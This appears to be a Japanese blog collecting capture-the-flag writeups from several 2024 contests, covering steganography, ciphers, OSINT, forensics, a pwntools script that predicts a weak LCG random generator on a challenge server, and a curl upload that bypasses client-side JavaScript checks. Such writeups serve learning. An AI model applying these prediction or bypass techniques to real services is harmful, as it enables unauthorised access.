labours-of-hercules-1 (Misc)

キャッチフレーズ n3m3anl10n をパスフレーズとして秘匿情報を抽出する。

$ steghide extract -sf hercules.jpg
Enter passphrase: 
wrote extracted data to "flag.txt".
$ cat flag.txt                                                                        
How many days/months did Hercules have to kill the create picture depicted here?

この絵について検索すると、以下のページを見つけることができる。

https://en.wikipedia.org/wiki/Nemean_lion

これによると30日で成し遂げている。

nicc{Thirty_Days}

Strange-Historical-Machine (Misc)

$ exiftool Machine.jpg               
ExifTool Version Number         : 12.57
File Name                       : Machine.jpg
Directory                       : .
File Size                       : 19 kB
File Modification Date/Time     : 2024:04:27 06:48:13+09:00
File Access Date/Time           : 2024:04:27 15:05:19+09:00
File Inode Change Date/Time     : 2024:04:27 06:54:05+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 180
Y Resolution                    : 180
Comment                         : File source: https://commons.wikimedia.org/wiki/File:Enigma_(crittografia)_-_Museo_scienza_e_tecnologia_Milano.jpg
Image Width                     : 330
Image Height                    : 220
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 330x220
Megapixels                      : 0.073

$ binwalk Machine.jpg                  

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
18645         0x48D5          Zip archive data, at least v2.0 to extract, compressed size: 161, uncompressed size: 189, name: text.txt
18898         0x49D2          End of Zip archive, footer length: 22
18920         0x49E8          7-zip archive data, version 0.4

$ binwalk Machine.jpg -e

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01

WARNING: Extractor.execute failed to run external extractor 'jar xvf '%e'': [Errno 2] No such file or directory: 'jar', 'jar xvf '%e'' might not be installed correctly
18645         0x48D5          Zip archive data, at least v2.0 to extract, compressed size: 161, uncompressed size: 189, name: text.txt
18898         0x49D2          End of Zip archive, footer length: 22
18920         0x49E8          7-zip archive data, version 0.4

$ cat _Machine.jpg.extracted/text.txt 
H pzyr wuplgj flbo kmiovyiezv bz amiatez, fpc ynnttrhl hzckv lxkoglk eaqfjlsb sbz dolkqjdw kytksjzktz. Dmvyp fcz nbtleutxh pvgc tyrznyelzdn xqrlbxk hjdb lki iyzg. ftye{E0G_MS0L_3J1AGW_N0Q3}

https://www.dcode.fr/enigma-machine-cipherで復号する。

I have always been interested in history, and learning where various theories and machines originated. There are certainly some interesting cyphers from the past. nicc{Y0U_KN0W_3N1GMA_C0D3}
nicc{Y0U_KN0W_3N1GMA_C0D3}

labours-of-hercules-2 (Misc)

空のパスフレーズで秘匿情報を抽出する。

$ steghide extract -sf hercules.jpeg
Enter passphrase: 
wrote extracted data to "flag.txt".
$ cat flag.txt 
Wt o vsor wg qih ctt, hkc acfs gvozz hoys whg dzoqs.

Kvoh qfsohs sjsbhiozzm zsor hc hvs rsawgs ct Vsfoqizsg?

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 14:
If a head is cut off, two more shall take its place.

What create eventually lead to the demise of Heracules?

以下のページにヘラクレスの死について記載されている。

https://www.greeklegendsandmyths.com/death-of-heracles.html

Lernaean Hydraの毒が死の原因になっている。

nicc{Lernaean_Hydra}

Freezing-February (OSINT)

写真の氷の彫刻の作者の名前とそのタイトルを答える問題。
画像検索すると、以下のぺージに似た写真が掲載されている。

https://gothamtogo.com/art-installations-events-exhibits-in-nyc-its-the-february-2024-gothamtogo-roundup/

写真には、以下の説明が添えられている。彫刻のタイトルは「Smitten」で、作者の姓が「Pignata」であることがわかる。

Pignata’s winning nine-foot tall ice sculpture, Smitten. Photo credit: Julienne Schaer

「Smitten Pignata」で調べると、作者の名前は以下の通りであることがわかる。

Lovie Pignata
nicc{Lovie_Pignata_Smitten}

TestofLuck (Bin)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  FILE *pFVar1;
  
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  pFVar1 = fopen("settings.txt","rb");
  __isoc99_fscanf(pFVar1,&DAT_00102142,&seed);
  __isoc99_fscanf(pFVar1,&DAT_00102142,&a);
  __isoc99_fscanf(pFVar1,&DAT_00102142,&c);
  vuln();
  return 0;
}

void vuln(void)

{
  undefined8 uVar1;
  long in_FS_OFFSET;
  ulong local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  ulong local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_38 = 0;
  puts("Any one person can be great, but true Legends have Luck");
  puts("Before you stands the altar, whereby you will have a conversation with fate itself");
  uVar1 = LCGrandom(0);
  printf("Fate tells you your name %lu, May fate be kind!\n",uVar1);
  local_30 = LCGrandom(0);
  local_28 = LCGrandom(0);
  local_20 = LCGrandom(0);
  printf("%lu, %lu, and %lu have already fallen today I hope you fair better\n",local_30,local_28,
         local_20);
  puts("What is your response to Fate");
  __isoc99_scanf(&DAT_00102142,&local_38);
  local_18 = LCGrandom(0);
  if (local_18 != local_38) {
    puts("Fate grows silent");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  puts(
      "Fate hums with approval. Now you must be the one in control, and tell fate the cause, and the  effect"
      );
  __isoc99_scanf(&DAT_00102142,&local_38);
  local_18 = LCGrandom(local_38);
  __isoc99_scanf(&DAT_00102142,&local_38);
  if (local_18 != local_38) {
    puts("Fate grows silent");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  puts("One final time, speak to receive your reward");
  __isoc99_scanf(&DAT_00102142,&local_38);
  local_18 = LCGrandom(0);
  if (local_18 != (local_38 >> 0x20 ^ 0x12345678) + (local_38 << 0x20 ^ 0xfedcba9800000000)) {
    puts("Fate grows silent");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  printFlag();
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

ulong LCGrandom(long param_1)

{
  long lVar1;
  
  if (param_1 != 0) {
    seed = param_1;
  }
  lVar1 = longMult(seed,a);
  seed = (ulong)(lVar1 + c) % m;
  return seed;
}

ulong longMult(ulong param_1,long param_2)

{
  ulong local_20;
  ulong local_18;
  
  local_20 = param_1;
  for (local_18 = 0; local_18 < param_2 - 1U; local_18 = local_18 + 1) {
    local_20 = (local_20 + param_1) % m;
  }
  return local_20;
}

                             m                                               XREF[3]:     Entry Point(*), 
                                                                                          longMult:001012eb(R), 
                                                                                          LCGrandom:00101360(R)  
        00104010 67 bd 45        undefined8 000002E2B445BD67h
                 b4 e2 02 
                 00 00

LCGrandom(0)は以下のような計算をする。

seed = (seed * a + c) % m

つまり、以下のように計算される。

s1 = (s0 * a + c) % m
s2 = (s1 * a + c) % m
s3 = (s2 * a + c) % m
s4 = (s3 * a + c) % m

このことから以下のようにa, cを算出でき、次を予測できる。

(s3 - s2) % m = (s2 - s1) * a % m
a = inverse(s2 - s1, m) * (s3 - s2) % m
c = (s2 - s1 * a) % m

次の入力以降、条件が少し複雑になっているので、整理する。

seed0、seed1:入力
ans:入力

seed1 = (seed0 * a + c) % m
seed2 = (seed1 * a + c) % m

以下のチェックがある。

seed2 == (ans >> 0x20 ^ 0x12345678) + (ans << 0x20 ^ 0xfedcba9800000000)

seed2から逆算してansを算出して、指定すればよい。

#!/usr/bin/env python3
from pwn import *

p = remote('0.cloud.chals.io', 21534)

seeds = []
for _ in range(3):
    data = p.recvline().decode().rstrip()
    print(data)

seeds.append(int(data.split(' ')[5][:-1]))

data = p.recvline().decode().rstrip()
print(data)

seeds.append(int(data.split(' ')[0][:-1]))
seeds.append(int(data.split(' ')[1][:-1]))
seeds.append(int(data.split(' ')[3]))

m = 0x2E2B445BD67
a = pow(seeds[1] - seeds[0], -1, m) * (seeds[2] - seeds[1]) % m
c = (seeds[1] - seeds[0] * a) % m
assert (seeds[2] * a + c) % m == seeds[3]

data = p.recvline().decode().rstrip()
print(data)

seed = (seeds[3] * a + c) % m
print(seed)
p.sendline(str(seed).encode())
data = p.recvline().decode().rstrip()
print(data)

seed = 1
print(seed)
p.sendline(str(seed).encode())
seed = (seed * a + c) % m
print(seed)
p.sendline(str(seed).encode())
data = p.recvline().decode().rstrip()
print(data)

seed = (seed * a + c) % m
ans = ((seed & 0xffffffff) ^ 0x12345678) << 0x20
ans += (seed >> 0x20) ^ 0xfedcba98
print(ans)
p.sendline(str(ans).encode())
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to 0.cloud.chals.io on port 21534: Done
Any one person can be great, but true Legends have Luck
Before you stands the altar, whereby you will have a conversation with fate itself
Fate tells you your name 999345201156, May fate be kind!
2305124617191, 708871642215, and 1302717511787 have already fallen today I hope you fair better
What is your response to Fate
719022361026
Fate hums with approval. Now you must be the one in control, and tell fate the cause, and the effect
1
777212916
One final time, speak to receive your reward
9606094287659645498
nicc{Just_G3t_Lucky_}
[*] Closed connection to 0.cloud.chals.io port 21534
nicc{Just_G3t_Lucky_}

Socratic-Script (Web)

HTMLソースを見ると、以下のようになっている。

        :

        <form id="uploadForm" action="/upload" method="post" enctype="multipart/form-data">
            <input type="file" name="file">
            <button type="submit">Upload File</button>
        </form>
    </div>
    <script>
        // Participants will need to remove or disable this script to allow uploads
        document.getElementById('uploadForm').addEventListener('submit', function(event) {
            event.preventDefault();
            alert('Denied!');
        });
    </script>

        :

フォームからファイルをアップロードすると、JavaScriptの処理に邪魔される。
curlコマンドで直接対象のパスにファイルをアップロードする。

$ curl -F file=@ancient_tome.txt https://springforward-socratic-script.chals.io/upload
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Flag Revealed</title>
    <link rel="stylesheet" href="/static/flag.css">
</head>
<body class="flag-body">
    <div class="flag-container">
        <h1>Passage Granted!</h1>
        <p>Your flag: nicc{p@SSAGe_GR@Nt3D}</p>
    </div>
</body>
</html>
nicc{p@SSAGe_GR@Nt3D}

Browsing-History (Forensics)

オンラインツールでjsonをフォーマットし、zeus-data_formatted.jsonとして保存し、それに対してフラグ形式文字列で検索する。

$ strings zeus-data_formatted.json | grep nicc{
                "title": "nicc{} this is a fake flag find the real one whoops - Google Search",
                "title": "nicc{jup1t3R-15-4W350M3} - Google Search",
nicc{jup1t3R-15-4W350M3}

cool-songs (Forensics)

Music Studio Producerでcoolsong1.midを開く。トラック1のイベントリストを見てみると、ASCIIコードらしきものが並んでいるので、書き出す。

125
55
54
48
57
50
99
49
103
118
49
104
56
45
117
106
105
56
45
52
55
113
52
45
112
51
50
55
45
53
50
56
57
50
52
113
53
123
102
102
112
122

コードから考えると、逆順にするとフラグに関係ある文字列になりそう。

>>> codes = [125, 55, 54, 48, 57, 50, 99, 49, 103, 118, 49, 104, 56, 45, 117, 106, 105, 56, 45, 52, 55, 113, 52, 45, 112, 51, 50, 55, 45, 53, 50, 56, 57, 50, 52, 113, 53, 123, 102, 102, 112, 122]
>>> ''.join([chr(code) for code in codes])[::-1]
'zpff{5q429825-723p-4q74-8iju-8h1vg1c29067}'

Music Studio Producerでcoolsong2.midを開く。トラック1のイベントリストを見てみると、ASCIIコードらしきものが並んでいるので、書き出す。

71
74
67
67
86
68
85
74
68
80
75
80
68
68
72
77

これも逆順に文字にしてみる。

>>> codes = [71, 74, 67, 67, 86, 68, 85, 74, 68, 80, 75, 80, 68, 68, 72, 77]
>>> ''.join([chr(code) for code in codes])[::-1]
'MHDDPKPDJUDVCCJG'

'zpff{5q429825-723p-4q74-8iju-8h1vg1c29067}'が暗号文、'MHDDPKPDJUDVCCJG'が鍵でVigenere暗号と推測し、https://www.dcode.fr/vigenere-cipherで復号する。

nicc{5b429825-723f-4b74-8faa-8e1ae1a29067}

Party-at-the-Gardens (Crypto)

カップの土台のところにモールス信号が書いてある。

.-- .. -. . - .. -- .

https://morsecode.world/international/translator.htmlでデコードする。

WINETIME
nicc{WINETIME}

twisted-tongues (Crypto)

StegSolveで開き、Red plane 0を見ると、以下の文字列が現れた。

NESH-CHEE TKIN MOASI
MOASI{NA-AS-TSO-SI0BE3GAH
NESH-CHEE_MOASI0BE3_THAN-ZIE
WOL-LA-CHEE1KLIZZIE-YAZZIE3GAH}

このキーワードで検索すると、Navajoというコードがあることがわかった。以下の対応表を見ながら、アルファベットに置き換えていく。

https://www.scholastic.com/content/dam/teachers/lesson-plans/17-18/navajo-code-dictionary.pdf
nicc{m0d3rn_c0d3_ta1k3r}

the-receiver-of-many (Crypto)

文中にフラグとなりそうな部分がある。

{@94 44 44 66 49 67 33 76 56 55 43 53}

問題文からNihilist暗号と推測して、https://cryptii.com/pipes/nihilist-cipherで復号する。

weblamehades
nicc{@weblamehades}

My-friend's-message (Crypto)

スキュタレー暗号と推測し、https://www.dcode.fr/scytale-cipherで復号する。

THEANSWERISGR3EKG0DZZZ
nicc{gr3ekg0dzzz}

the-reciever-of-many-2 (OSINT)

問題「the-receiver-of-many」からアカウントはweblamehadesであることがわかっている。このユーザのSNSに何か隠されているとのことであるが、問題「the-receiver-of-many」の問題文からそのSNSinstagramであると推測できる。https://www.instagram.com/weblamehadesにアクセスすると、3つの写真が投稿されていることがわかる。
一番右の写真の詳細を見ると、タグにフラグが含まれていた。

nicc{ista1kedhade5}

cr3 CTF 2024 Writeup

この大会は2024/4/26 22:00(JST)~2024/4/28 10:00(JST)に開催されました。
今回もチームで参戦。結果は3点で398チーム中141位でした。
自分で解けた問題をWriteupとして書いておきます。

sanitycheck (misc)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

cr3{1ns4n1ty_ch3ck!}

spurdanity-check (ppc)

aとbをスペース区切りで入力したら、その合計を出力するプログラムを作成する。
Python3を選択し、該当するコードになるので、そのままSubmitすると、フラグが表示された。

try: input = raw_input
except NameError: pass

a, b = map(int, input().split(' '))
print(a + b)
cr3{0h_h3ll0_th3r3_i_hOp3_You_w11L_3NjoY_0uR_pPc_ch4LL5:^)}

survey (misc)

アンケートに答えたら、以下が表示された。

Y3Ize3RoNG5rNF9mMHJfcGw0eTFuZ193M19oMHAzX3VfM25qMHkzZH0=

base64デコードすると、フラグになった。

$ echo Y3Ize3RoNG5rNF9mMHJfcGw0eTFuZ193M19oMHAzX3VfM25qMHkzZH0= | base64 -d
cr3{th4nk4_f0r_pl4y1ng_w3_h0p3_u_3nj0y3d}
cr3{th4nk4_f0r_pl4y1ng_w3_h0p3_u_3nj0y3d}

SpartanCTF 2024 Writeup

この大会は2024/4/18 1:00(JST)~2024/4/22 14:00(JST)に開催されました。
今回は個人で参戦。結果は2338点で168チーム中8位でした。
あと1問で全問制覇だったのに残念です。
自分で解けた問題をWriteupとして書いておきます。

Day by Day (Misc 99)

日付がランダムに並んでいるので、空いている日付を答える問題。まず日付順にソートする。

$ cat dates | sort > dates_sorted

ソートした日付を順に見ていき、次の行が次の日になっていない箇所を探す。

#!/usr/bin/env python3
from datetime import datetime, timedelta

with open('dates_sorted', 'r') as f:
    lines = f.read().splitlines()

tdt = datetime.strptime(lines[0], '%Y%m%d')
for line in lines[1:]:
    next = tdt + timedelta(days=1)
    tdt = datetime.strptime(line, '%Y%m%d')
    if next != tdt:
        DATE = datetime.strftime(next, '%Y%m%d')
        flag = 'spartanCTF{%s}' % DATE
        print(flag)
        break
spartanCTF{19990918}

Down the Rabbit Hole (Misc 170)

zipを解凍すると、zipが複数展開されることが繰り返されるので、スクリプトで解凍する。さらに末端にはrabbitファイルが展開されるので、その内容を確認し、フラグを探す。

#!/usr/bin/env python3
import os
import zipfile

def unzip(dir_path, fname):
    out_dir = fname.split('.')[0]
    with zipfile.ZipFile(dir_path + '/' + fname) as zf:
        zf.extractall(dir_path + '/' + out_dir)

def dir_unzip(dir_path):
    files = os.listdir(dir_path)
    for file in files:
        ext = file.split('.')[-1]
        if ext == 'zip':
            unzip(dir_path, file)

    files = os.listdir(dir_path)
    for file in files:
        if os.path.isdir(dir_path + '/' + file):
             dir_unzip(dir_path + '/' + file)
        elif file == 'rabbit':
             with open(dir_path + '/' + file, 'rb') as f:
                 flag = f.read()
             if b'spartanCTF{' in flag:
                 flag = flag.decode()
                 print(dir_path + '/' + file)
                 print(flag)

dir_unzip('./out')

実行結果は以下の通り。

./out/hole/hole1/hole2/hole4/hole9/rabbit
spartanCTF{th4nk_y0u_m0rpheus_11ec1158}
spartanCTF{th4nk_y0u_m0rpheus_11ec1158}

Bittersweet Symphony (Misc 180)

楽譜が添付されているので、復号する問題。楽譜は次のようになっている。

Solfa Cipherと推測して、https://garden.solsarratea.world/seeds/solfaを参考に考える。
8分音符は長さ1つ分、4分音符は長さ2つ分、4分音符点付きは長さ3つ分、2分音符は長さ4つ分である。
これを数字部分に当てはめられると理解した。まず音符の種類を書き出してみる。

2 | 1 3 2 2 | 3 1 4 | 3 1 4 | 4 4 | 2 2

これを4の長さごとにして位置を考え、音階と合わせ書き出す。

F3 B1 D2 E1 C3 C1 G4 E1 F1 A4 G1 C1 C1 G1 C3
m  o  z  a  r  t  w  a  s  b  e  t  t  e  r
spartanCTF{mozartwasbetter}

Talk to Me [I] (Interactive 80)

$ nc 0.cloud.chals.io 33987

 ____                   _               ____ _____ _____ 
/ ___| _ __   __ _ _ __| |_ __ _ _ __  / ___|_   _|  ___|
\___ \| '_ \ / _' | '__| __/ _' | '_ \| |     | | | |_   
 ___) | |_) | (_| | |  | || (_| | | | | |___  | | |  _|  
|____/| .__/ \__,_|_|   \__\__,_|_| |_|\____| |_| |_|    
      |_|                                                

Congrats! You've successfully connected to the challenge server!
Here's a flag, if you're interested in one: spartanCTF{g00d_j0b_w1th_g3tting_h3r3}

Would you like another (YES/NO)? NO 

i GUEss YOu CANnot apPReciaTe THE faCt tHAT i Was rEAlly tRyINg TO MakE the wHOlE fLaG acqUisiTIon THINg EAsY FOR yoU. buT I guess YOU jUsT cAn'T SAY YeS. For oNCe. YOu do kNoW WhAT The POInT of tHiS CTF Is RIghT? YOu SHouLd Be DOInG eveRyTHING yOU CaN TO gET aS many POints As POSsIble, As SOON As POSSibLe. tHEre is oNLY oNe FiRsT PLACe WINnER. YoU SimplY cANnOT Win WIThOut aNY FLAgS.

But that's fine. Have it your way.
spartanCTF{g00d_j0b_w1th_g3tting_h3r3}

Talk to Me [II] (Interactive 90)

$ nc 0.cloud.chals.io 33987

 ____                   _               ____ _____ _____ 
/ ___| _ __   __ _ _ __| |_ __ _ _ __  / ___|_   _|  ___|
\___ \| '_ \ / _' | '__| __/ _' | '_ \| |     | | | |_   
 ___) | |_) | (_| | |  | || (_| | | | | |___  | | |  _|  
|____/| .__/ \__,_|_|   \__\__,_|_| |_|\____| |_| |_|    
      |_|                                                

Congrats! You've successfully connected to the challenge server!
Here's a flag, if you're interested in one: spartanCTF{g00d_j0b_w1th_g3tting_h3r3}

Would you like another (YES/NO)? YES
Well. . . Too bad! Enjoy this wall of meaningless text!

fgoU84zaj0-gHG7AKYzGw-qbNnD0VA_txGMPCkTNhdQANkcNrqteGUvlWlyVth1kstnRLfU9oBvo155S2ZXUYWWyVQ9OhkuZNF9N6GCTeZW_h73QruZfqBEV_KAKdm5LHAo657p2VIhZgLeEfus4WuZhIGgVbEtZUGK44SYE737eChDhjYjJDCijQf8jFomA8TmwJ4BijQbDEZu9Ma7T8IDhCMl9Z-6jJS49zdERv5RpBYkY79Ji5PQYGYlHtXVkDd7zcohxHggIL0IqgEoc2slJBnU5epHA0u4F4lh0_KKjvSs89NDb9W066TKGTyqGiGLju4455rpTJ_2j9SnmBRT46l63noHRVByzA2tYbYQmwwQHr4OSPhrXiYas_mx6eLdOM57_4DNr5USiXFS1Rsua0rFdUF5r_ouAgzRAjX83uDVTlgz7wWTWpBhJfu17B0fLjKlFvZkm0lC1RpL7H0m2FVwuWSSQh7l2wu0qz94Tl-qtsBl-JqEH7nUT9s39dBkpmkQfPVA2EWHABjDACy03Jm8HxMQGMhp1MwpY_vOD0dHCTer1zwkHRs4rdWcfYV961I6k2ZdKF5k1H_yD920PZNHulqLCOEMlGlbtTkC7ioG84SHKpXZXofr3C8nGit6-S5W6Ws22gKlIBs0R5JcckKnB2mt0BPdkCpgJ-CCsixn0ws3dUsGbSaQEw93D8mOFy1gfizB8XdC_g5tXbCXiraGdwAtqBxu-mY7EoyegPtkXUb39UA5PUtngsqFkuVf2oAM0mKOeo_Gb7Os1NG2Dpiq6aMc8gg9hJDhVujH4preQ0hPA2_bEBkoos0ddpii0-bxHIXARY3tMcO6hOFvpv1fjLj5J1-HewBCeMXLt4P9XDYRqSFpDzOMhnkg0vKIH3I9EWzsMxbMcVNVucvKJISkPqZ302ldjkYWiphPhP7OtllEVKsPrcgz8Z7BQqpjEzs1Ldj-CPIZwR4mYQ8StjqQkgjCVOJHUTEouIxy0RRd5RrwRHtpvz9PosrDkWTMQMqVnlG6SNXqvpm-t8XwASeGk66YsY3b3LGrkCNWNNcZYctPw92DBaMSklv4y9qSZepDm9QktE9ikC1sccD1WmaIlnTdCyFignjx2F862mXTeWskeJlC0fKyybJf9gEtiKd3IyW19OVJxeIpE9XKvEenXVeeFzChi96lswyGg0VAIjEdNGADBjNnzUOq71qRx4MBNwh8gAFCi4_Gvl7fT1VyMUaM7sjGa5BgnyEjIuO0nFC6fpfYyMakDnqpkGsgUUO4JHBYYt5LqC2so7Z5iwmKZBV9cQfN0d-9uObR6XbCRV9kkDqdfjij3M-N1JPRcYzDIzFUdipKiuQfQrE7tJI_C2rqvMGVNq-ATdY_mtKUougUKr0jZLgs2t-ovqeGM-ejNUCIEDL3VGd72-PpC_ESmn0QcB9RzLimMTC6ALz1PCQAXth-ouX1P4hh-T8Dxu8N2sg77g68PQtMDuVvstJJ-FLP4NdtDWg9AuFrUyq0IhNsg2ZkZQ3xHgAubW-QYwPU6P7OJYWbPzBl-zfI9KTLAQYIx53WHfM3ZwNLUP-iFeVqAjOeiqmOmg9EvbSShMie5hSET1srj9PNIBWWtfv20YsW2alxXLaDprDRzpJWaiITUeAaJoFw-DdC6anldLu83NOJxqdnTZe0DvhmbxEN5Oox2XKaeFMGRHTIZxkwO4MakXqf7HPQxHUg8hiIgwWsyi6hw7LEhKQEfKzRia6dOH4QzU4rMWFCeLtAGrjIVU4ZOOja5j7HmDBGX1UGs8ZFs9jP7N_YPJdzNHCv4H_I2fu74RddIPwx01nzRUii-3ta19BDP7AlrzpE9gWiY2hjty7-YpwKTFXSCTxR5cMJ3sgbihuB42LmaHxqCm-y1NvagKRqf_sYH3wss6in5Qph2jFwdtAV402g8hg1YUc1XcjMk91oB6f4ZB4MESE8RdQ9LwXFzkJY70tB7-T-rddBALNcO3c4GrR28GISQ_7ju7lKdJHHRueDRdJwUWU5It0ZXIqgC5glnriAG7UOJg78etKmfClSQLklNO4jIDbdC_MljqF635bj8USZoBOW-jvzaWdZV-LxBBkkXAUyuV40HkMjwf_RE0dp7tEEGmBlONUU4aFYvkFlBihEB4gFOTFugREd1ell3Hy2KUu3pHxmmpCHFn4sUo9MnAuT8gvRPsLoGEuOpt4w7Ca8eSs9uGpIfA_onU2LN5bFfo4I-c9JuC2h5E40DSriNj4H_SRkLapuACKSgniHcQK-1vgjpy_QEfNV3f5vFCSrXChn-rP4coUocTd-uPv_uyGfSkuw6m311F5D6ZmiFL6qD8M54584o3QNxv5hdUlK4qItAfrr22Lp7hXGN5ZNmWbZMuiizeZGY9jN7DcNNAZBc-BDpJUUK8FjRJx1QivZQjLeDC_O5akB5ih6K9HCXDeTSQXrRMwtzMbTR4SW4rzj9C6-WvlUuT8SjXC5CjzYZ3t47qR46ZPAeAZAHpcubgODCTscgtLUpWi-JkwK5CqPlGPYG1j4lw1HUi_p_a0ejUXRUauhecP9lbAFvyddUVF6pvGjw3l2GpFPh7pkfnjynTMKWACJzF65mrdjMdc05Owa49R6fj8o9BGGLp_8IoKdBbYaVczDjdVfTQNB7D86GOiIKKfWGmngM7mFhk50-Qd06FMkEio2YJuGQ5B4vWRmnE9LNTFe_yvpPOE2VgaJs4JuQw3ywYJSTtUvhvIvtBqIQY5SOuvEh25SwR3zX3aG6r3Mlu-jaEuiBBayEHjA8WT2HkTu3RAQq4cGcBjZ9wqfeewqp7SjJpYCwCxHCpPvdIKtwz81_133G_86PdKywSkMkWQHPIoLrHUhk91X7v2SK8QcGxidSk4MEhiasdngepmsJLhKku-kAEq804aqJPG93ZRczc-A-1if-zNdkBlCuojXruk-nm7bg9j3XK6WeYQfkDdj5InxJekFSwOR2Fwk5y8wSonxb6dSki2w6KWZH0kJlxS_H-B7KPb0FQIkTF2zOI3pqZj4qmfC28PhaQsm4ZjXHJP0pDh-miEZt1BwOw4hG7F3W30xYYhIj_VwyhSpy6vUVJNqItiroSQfcSY2dy-ptzQMnZqG9lswgJYqHdiCJx-J9Gw0y8Ck6reYcsXDZT_enjkrWsGcCr5l9_HrUhtNZVC4wd3uCLKQfZnu2EGchhUBhvtKHBmpmlUKdDhCNksrwOwBqjetF8972rYyYfHaPpG9q742z5g7gv2GYyyyRcq1L2zRlNzFrAuv7tV19Dl7C8YqDB_gM0gNkrDj-45LGHVpeOBoos30lwvM1r_yFTRPY5vdg728Cm_wy0iCM1RhNfSkXGtCNpQyXPfrACC02o58-p8X9Twu-D8CKPKrNhjZBP8Dhxq5Q69slMxLrgxYniSL3DVyEq1ib1MdlorIKsj6fAgPunbNWXl8kfvgS0bPsQHmyTvMi8bv95MG05mCZJ_Slfq_LjHrttiiZNvAg30mbiGzQNC_x0HMFZ4bsA1yvCqlPjJLhJeU5KkvddpOA8_-JWJ4EIVZzwfGTeUjld6b1oGqKrFignJ_T93EgrRTR16P4BH2-1nJQ9M5EBJzHvlxlLnCHPDDaJn198UKDYwd7HkIE4rVO67BFNYERIf5P2dKhJOzy-x_0sLlVTBkQVWFeHpFrZnBmj-WZZhVUOofTvjQRcFNrFAnGPUs6phEFgc6UvXDRYEmxH0sH4eNMeAVTGIFAYX-lfkNSZDNfgc3BoTAJTWDNSrJ1X6MRIdv9Lrm3vw7iiuiHlSTOoJWo71sEhhPgPmb_qR9aMb_MLEBuzxcdAp6VO_f5WtXnnfV0PKmCTaa6fvNO-23N-BFip9Qsiz5qzmlE2ZVLvyfgha_Q_lRBIs_AnI1KpLJQusej1_naEB3YDTeZAAjbepDeMiNfV4uV_NLd6fGH3tTJwuCU2gFFkC2s5UWzF40coHqmx9GbGOjrFuPc-FymNW2S45JBS2Z2a8wVw-mZykIR6eXSrLQI3UrGByE0cSzKAmzoBMPF97d5OVlK7casgPd8Vyoqy6FwZHh_dVin3yD2mWMZQHIFblkmXFmTKUMaOioP4fkGmmrVeb1NNVXyuvu45lKF7M8eIszj07eeGCskwraWvzK2xjFzhQJtb0Ul5hliUbPgBxdMOSCKvOrDjFw-g1Y0OVmYv4AQ5V3YCN4VqyeFwFH2Pd7eq2_CmBFHvppFThTCSleqd5RBrExaCjGMO9DJiLiug-j7dOZ1wg-cG9g6L-dWACxVh1JWoS_i43cooG21bJeSib_OA7MWvZnHwUHLE_CQ0GNvk1IYf92QUowCxZQ-eyuGd2MC3KUwnOlJ6d_m0iOLx5tNHWH2kddK4wSyTmSdok0ttuws2NDoZLJXDceVSDc1Yb0MjV7iQN19RxRLRreQ86Mio46DMBSrt747qYvm6ZGjVHnFG5S2ZORa5fUKvLDIH2EJ2UM9Htob5jT8a3gjgDEHtfFotx1h544hCpTSCDjY3oe_maIr92eNqn4Ukoopr9EL76FhF2fB7onRAkIbcJUfhPCBgkSXriz4Q6WuTZQIM8lJNwCCgCGq_31cEW7LY3mD_DEeeePqh0qSgfsg1t069Uu7_hSKEqcDcul9GlIbe3vkiieb7JhqYCrCaVyW7TGIAlwogQmpFW7GbjjJ9KhpPYrUJa51t5_9TXFK4nq98DLWjHCKmun0FjrHl-P4mpHJiNGoLVBWWreuI3JfmQmahtJmJlLbQHCuUohoElSdDfc_DQ8ZS3h6WmAHFwE0XkvVelWSzdTdaXMRteZR6vfj2OjdbPUNUeMj6Y7LFZsv3REdaq6Jekl1gPz4HD9GoRH642Uu5WQzNF_0eOIDhJ55LnFLsx-x4N_kJHGksUTdlkSmfQJBriWHU6vn95g3LYIMn_7LmeAyV0ShU81_BZiz-lhJhFqseu-ShOEWtUPJDiJBdTVa96F0htjDm3lHdttvrWMOPuIjOs8G96MAYoGiXrNXysesHAZd0w5jqO1ho5NIZGMpB9ByKizYzx17EsnniIpX4_fND10D1LSiUbFmRwfrnnXOL5uLBEX4P69BMAItlAlt5rvpc01qNgNfEr0BrMSGop5kWW7LHh2dsAKDtlo7ZlqIykGSNCGtcVbgsub0E-NZWzTsbNWMmLyayjsqLmmv2QwQUx1I1DRB9AyJ7vLHVE1m66ncDqjxXFdPK-94OimmLWk1oOKYNJ7y2gYmSFx5wdNw1KBoOJrx2U5wkDPPULKUz6VLQM77-vExbzbc8sCCOLo80v3RbJVFzV6EPx3y806MZru6PJBtkM2YX8bq6tg4KkTSRYJot1F6Md-M76RfPBg0YI5aW2atQ83dDCTrJGWuq93rpVogOxEXD-sB3N0iPTdAoOaTlLIH_NkKZTsc0wVDLtL4LHapSdHBVQidQYm4j5NKl67QVB4MpKSyqkkDXKl1HlAisVs3mmqSTtvx3h_0Pqkx0DJ-Z7yMRbCt7Xd6yZS5rp4HA5Nz88WBN9wAxlBUwfEj_YfAzVigxelTyfLJ2CPrLAdto5Uz-SZdWgDcKOEIjdWimDjCL92Vt5VXfJ6Do1zxQrMTNm